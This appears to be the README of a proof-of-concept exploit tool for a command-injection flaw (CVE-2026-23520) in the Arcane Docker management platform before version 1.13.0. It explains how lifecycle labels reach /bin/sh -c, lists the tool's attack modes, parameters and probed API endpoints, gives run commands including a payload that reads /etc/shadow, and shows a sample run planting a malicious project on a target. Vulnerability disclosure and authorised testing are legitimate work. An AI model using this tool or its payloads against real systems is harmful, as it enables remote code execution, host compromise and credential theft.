Arcane Docker 管理中的操作系统命令注入(< 1.13.0)
Arcane 是一个基于 Web 的现代 Docker 管理平台。1.13.0 之前的版本存在一个已认证的**远程代码执行(RCE)**漏洞,该漏洞源于更新服务生命周期标签中的操作系统命令注入。
更新服务支持两个 Docker 容器标签:
| 标签 | 触发时机 |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | 容器更新前 |
com.getarcaneapp.arcane.lifecycle.post-update | 容器更新后 |
标签值被直接传递给 /bin/sh -c,且没有任何过滤。由于任何已认证用户(不仅仅是管理员)都可以通过 API 创建项目,攻击者可以植入一个恶意项目。当管理员随后触发容器更新时,注入的命令会在容器内执行——如果存在卷挂载,甚至可能在宿主机上执行。
攻击者(低权限用户) Arcane 服务器
──────────────────────── ──────────────
1. 认证(任意用户) ──────────► JWT 签发
2. 创建带有恶意 项目已保存,包含
生命周期标签的项目 ──────────► 恶意标签
│
┌───────────────────────────────────┘
│ 3. 管理员触发容器更新
▼
Arcane 更新器读取标签值
将其传递给 /bin/sh -c
│
▼
*** 任意命令执行 ***
(容器范围内,或存在卷挂载时在宿主机上)
| 状态 | 版本 |
|---|---|
| 受影响 | Arcane < 1.13.0 |
| 已修复 | Arcane ≥ 1.13.0 |
修复方案(提交 5a9c2f9)完全移除了生命周期标签功能,以消除攻击面。
urllib,可在任何 Python 3.10+ 环境中运行check(指纹识别)、exploit(部署)、generate(离线生成 compose 文件)-v)— 显示正在探测的端点以及返回的内容python3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit 通过 Arcane API 部署恶意项目
check 对 Arcane 进行指纹识别并检查是否存在漏洞
generate 生成恶意 compose 文件(无需网络)
options:
-h, --help 显示此帮助信息并退出
-v, --verbose 显示探测调试输出
漏洞利用参数:
| 参数 | 说明 | 默认值 |
|---|---|---|
-t, --target | Arcane 主机(IP 或主机名) | 必填 |
-P, --port | Arcane 端口 | 3552 |
-u, --username | 任意已认证的 Arcane 用户 | 必填 |
-p, --password | 用户密码 | 必填 |
--payload | 要注入的 Shell 命令 | id |
--hook | pre 或 post 更新钩子 | pre |
--project-name | 恶意项目的名称 | poc-cve-2026-23520 |
--env-id | 环境 ID(省略时自动检测) | 自动 |
--scheme | http 或 https | http |
--no-verify | 跳过 TLS 证书验证 | 关闭 |
该脚本不会硬编码单个 API 路径。相反,它会为每个操作静默探测多个已知路径,并在首次命中时停止:
| 操作 | 尝试的端点 |
|---|---|
| 版本 | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| 认证 | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| 环境 | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| 创建项目 | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects 等 |
响应键名也会进行灵活匹配(例如 currentVersion、version、Version、serverVersion——包括嵌套对象和不区分大小写的查找)。
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── 步骤 1 · 目标指纹识别 ──
[*] 目标: http://10.129.7.208:3552
[*] 正在探测版本端点 …
[+] 通过 /api/version 获取到版本
[+] Arcane 版本: v1.12.4
[+] 版本 v1.12.4 < 1.13.0 — 存在漏洞
── 步骤 2 · 认证 ──
[*] 正在以攻击者身份认证 …
[+] 通过 /api/auth/login 获取到 JWT
── 步骤 3 · 环境发现 ──
[*] 正在探测环境端点 …
[+] 通过 /api/environments 发现 1 个环境
[*] → 1 (local)
[+] 使用环境: 1
── 步骤 4 · 植入恶意项目 ──
[*] 正在将载荷注入生命周期标签: pre-update
[*] 标签 : com.getarcaneapp.arcane.lifecycle.pre-update
[*] 值 : id
[+] 通过 /api/environments/1/projects 创建项目
── 漏洞利用植入成功 ──
[+] 恶意项目正在等待更新触发。
5a9c2f9本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。作者对任何滥用行为概不负责。请仅对您拥有或已获得明确书面许可的系统使用本工具。
MIT